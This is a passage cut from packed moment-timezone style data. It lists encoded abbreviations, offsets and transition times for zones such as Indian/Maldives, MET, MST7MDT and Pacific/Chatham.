1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00|17e5","HST|HST|a0|0||","Indian/Chagos|LMT +05 +06|-4N.E -50 -60|012|-2xosN.E 3AGLN.E|30e2","Indian/Maldives|LMT MMT +05|-4S -4S -50|012|-3D8QS 3eLA0|35e4","Indian/Mauritius|LMT +04 +05|-3O -40 -50|012121|-2xorO 34unO 14L0 12kr0 11z0|15e4","Pacific/Kwajalein|LMT +11 +10 +09 -12 +12|-b9.k -b0 -a0 -90 c0 -c0|0123145|-2M0X9.k 1rDA9.k akp0 6Up0 12ry0 Wan0|14e3","MET|MET MEST|-10 -20|01010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010|-2aFe0 11d0 1iO0 11A0 1o00 11A0 Qrc0 6i00 WM0 1fA0 1cM0 1cM0 1cM0 16M0 1gMM0 1a00 1fA0 1cM0 1cM0 1cM0 1fA0 1a00 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00|","MST|MST|70|0||","MST7MDT|MST MDT MWT MPT|70 60 60 60|010102301010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010|-261r0 1nX0 11B0 1nX0 SgN0 8x20 ix0 QwN0 1cL0 1cN0 1cL0 1cN0 1cL0 1cN0 1cL0 1cN0 1fz0 1cN0 1cL0 1cN0 1cL0 s10 1Vz0 LB0 1BX0 1cN0 1fz0 1a10 1fz0 1cN0 1cL0 1cN0 1cL0 1cN0 1cL0 1cN0 1cL0 1cN0 1fz0 1a10 1fz0 1cN0 1cL0 1cN0 1cL0 1cN0 1cL0 14p0 1lb0 14p0 1nX0 11B0 1nX0 11B0 1nX0 14p0 1lb0 14p0 1lb0 14p0 1nX0 11B0 1nX0 11B0 1nX0 14p0 1lb0 14p0 1lb0 14p0 1lb0 14p0 1nX0 11B0 1nX0 11B0 1nX0 14p0 1lb0 14p0 1lb0 14p0 1nX0 11B0 1nX0 11B0 1nX0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0|","Pacific/Chatham|LMT +1215 +1245 +1345|-cd.M -cf -cJ -dJ|0123232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323|-46jMd.M 37RbW.M 1adef IM0 1C00 Rc0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Rc0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Rc0 1zc0 Oo0 1qM0 14o0 1lc0 14o0 1lc0 14o0 1lc0 17c0 1io0 17c0 1io0 17c0 1io0 17c0 1lc0 14o0 1lc0 14o0 1lc0 17c0 1io0 17c0 1io0 17c0 1lc0 14o0 1lc0 14o0 1lc0 17c0 1io0 17c0 1io0 17c0 1io0 17c0 1io0 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1cM0 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1cM0 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1a00 1io0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1cM0 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1cM0 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1cM0 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1cM0 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1a00 1io0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1cM0 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1cM0 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1cM0 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1cM0 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1a00 1io0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1cM0 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1cM0 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1cM0 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1cM0 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1cM0 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1cM0 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1a00 1io0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1cM0 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1cM0 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1cM0 